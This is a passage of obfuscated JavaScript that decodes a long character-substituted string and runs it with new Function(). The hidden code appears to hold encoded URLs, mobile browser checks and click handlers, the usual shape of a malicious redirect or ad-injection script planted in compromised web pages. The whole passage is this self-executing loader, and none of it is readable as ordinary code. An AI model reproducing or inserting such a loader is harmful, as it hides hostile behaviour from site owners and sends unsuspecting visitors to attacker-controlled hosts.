5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP}0sSCqL)((mR4s4n)L2mRT4gQ@{@/((/}0sj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP}0sSCqL)((mR4s4n)L2mRT4gQ@{@/((/}0sj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@/f/}0sj(8}vR8_77(o)@7_J"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();